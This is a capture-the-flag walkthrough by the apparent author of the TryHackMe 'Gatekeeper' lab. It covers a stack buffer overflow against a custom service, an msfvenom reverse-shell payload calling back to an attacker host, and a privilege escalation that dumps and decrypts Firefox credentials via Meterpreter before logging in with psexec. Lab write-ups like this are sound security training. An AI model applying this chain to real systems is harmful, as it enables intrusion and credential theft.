Official Gatekeeper Writeup - My First Machine at TryHackMe

Introduction

Gatekeeper (https://tryhackme.com/room/gatekeeper) is a combination buffer overflow exploitation and Meterpreter credential dump challenge.  While I primarily utilize Ruby for my buffer overflow exploits, and have outline that method in this guide, users will be able to use any method they wish.  I hope you enjoy this challenge and my first official offering on TryHackMe!

Scanning

The machine takes a couple of minutes to boot up, however most necessary ports will be available with a basic Nmap scan.

 nmap 10.10.168.158

nmap -p 139,445,3389,31337 -A 10.10.168.158

Several ports are open and available, including SMB, RDP, and port 31337 “Elite.”  Note that the service on this port is “Dostackbufferoverflowgood,” which is attributed in the user flag once access is gained, in accordance with the wishes of the creator.  Additionally, a Nmap -A (or whatever scan you prefer) shows that several requests are made to the port, suggesting a running service.

Enumeration

Enumeration begins with using smbclient to determine any available shares.

 smbclient -L 10.10.168.158

Note that the “Users” share is available for login, and that the Shares subdirectory hosts the “gatekeeper.exe” executable.  This needs to be transferred to your host machine and lab environment for further inspection.

Exploitation

Exploitation begins with examining the program.  Note that I have used Ruby to conduct my exploitation on the program throughout.  Below you see interaction using “Pry,” which is available in the Kali apt repository.  My exploit lab consists of a Windows 10, x86 virtual machine running in VMWare Workstation Pro 15, however you can use whatever method you wish.

pry --simple prompt; s=TCPSocket.new("192.168.1.75",31337)

We see that the program is responsive to our communication.  If we sent characters to it, we are able to crash the program.

 s.puts "A"*200

As seen above, a test of 200 “A” characters is sent, which causes the program to crash.  This confirms that the program is vulnerable to buffer overflow exploitation and will require additional testing.  We can do this utilizing Immunity Debugger.  Below you see the results of the same test as above.

 Immunity Debugger Output

Note in the above that we have overwritten the EIP and need to now determine the pattern offset.  We first need to utilize “pattern_create” to determine the exact point of offset, and then use the “pattern_offset” tool to determine the exact point of crash.

./pattern_create.rb -l 200

Immunity Debugger Output

Note above that the EIP value is 39654138.  We can use this as the value in pattern_offset, which returns a value of 146.

./pattern_offset.rb -q 39654138

We can then confirm that we in fact have a good offset value by running the following command.

s.puts "A"*146 +"B"*4

Immunity Debugger Output

Note the above, where we have successfully overwritten the EIP with four “B” characters signified by their hexadecimal value 42.  We can then add this to our Ruby “boilerplate.”

 Ruby Buffer Overflow "Boilerplate"

Ruby exploitation is straightforward.  In the above you can see we declare the buff variable as 146 junk bytes.  Additionally, we have declared our NOP sled, the required socket, opened a connection, and use s.puts to send the buff variable to the target.  

We need to check for bad characters in the program next by utilizing a pre-determined set of characters found on Github.  We add these to our boilerplate temporarily and send it.

Bad character boilerplate

Immunity Debugger Follow in Dump command

Note that this program appears to have only “\x00,” however at the very end we see “\x0a,” which is a hard to see bad character that we must account for.  

Next, we need to determine if our program has any ASLR protections, which it does not.  We utilize !mona modules for this.

 !mona modules and ASLR protections check

After we find an appropriate module, we need to determine if a jmp esp module exists.  We can use !mona for this as well (!mona jmp esp -m gatekeeper.exe).

!mona jmp -r esp -m gatekeeper.exe

Now that a jmp esp has been found, we need to convert it to Little Endian format and add it to our exploit.

 Boilerplate updated with JMP ESP value in Little Endian format

We can create shellcode to test against our lab environment to confirm that exploitation is possible.  See the below shellcode.  Note that locally I did not use “\x0a” as a bad character, but you MUST use it later on the target machine.  Add this to the shellcode section of our exploit.

msfenom -p windows/shell_reverse_tcp LHOST=192.168.1.44 LPORT=5555 -f rb -b "\x00/x0a"

 Updated Boilerplate for exploit

We are ready to attempt to grab a reverse shell with our lab machine.  I simply ran ruby rbofboiler.rb with the program running, along with a netcat listener to do this.

Now that our proof of concept and exploitation is confirmed, we can begin to target Gatekeeper.  We need to modify our exploit to reflect the Gatekeeper machine and modify our shellcode to include the “\x00\x0a” bad characters.  Replace the shellcode in our exploit with the new shellcode below.

Updated with Gatekeeper Lab address

Updated msfvenom payload to reflect Gatekeeper Lab address

We are now ready to grab a reverse shell with the target machine.  We again use a netcat listener combined with the earlier Ruby command to do this.  Run both to get a shell. 

Reverse shell success and user flag and credit to Justin Steven for Dostackbufferoverflowgood

Alternatively, users can connect via a Meterpreter reverse shell as well, which would provide similar results via shell.

Users will need to take one of two paths to discover the credentials needed to escalate privileges – manually collect the key4.db, cert9.db, logins.json and cookies.sqlite documents from the AppData\Roaming\Mozilla\Firefox\Profiles directory, or utilize the Firefox_creds module from Meterpreter after discovering the application.  For simplicity, I have not included the SMB transfer method. See below for the Metasploit path, which includes modifying the original buffer overflow exploit.  

 msfvenom payload for Meterpreter shell

Reverse shell via multi/handler exploit

Utilizing the enum_applications module, users will discover that Firefox is running on the low privilege user machine.  No other exploits are available, despite local_privilege_suggester providing two different possibilities (local admin is turned off).  See below for the Firefox credential dump and enum_applications.

run post/windows/gather/enum_applications

 Credential dump with run post/multi/gather/firefox_creds

Now that credentials are dumped, users will be required to grab the Firefox Decrypt tool from Github (https://github.com/unode/firefox_decrypt).  Instructions are provided on the page, but in short, users will be required to rename the four different outputs from the Firefox_cred module.  See below.

Before renaming the files

 After renaming files appropriately

We can then run the Firefox Decrypt tool to dump the credentials from Firefox.

 python firefox_decrypt.py /root/.msf4/loot/

Finally, we can utilize the above credentials to log in to the “mayor” account using psexec.

 psexec.py user:pass@10.10.167.18 and NT AUTHORITY\SYSTEM

 Root flag

Conclusion

I created this machine with the user being able to conduct the initial exploitation however they wish.  I have confirmed that this works with both Ruby as you see above, and Python, which I have not included.  Once access is made to the machine, it will require a bit of creativity to locate the credentials for the mayor account, however it is straightforward and requires basic enumeration skills.  I hope that you have learned something in this walkthrough and challenge and look forward to your thoughts!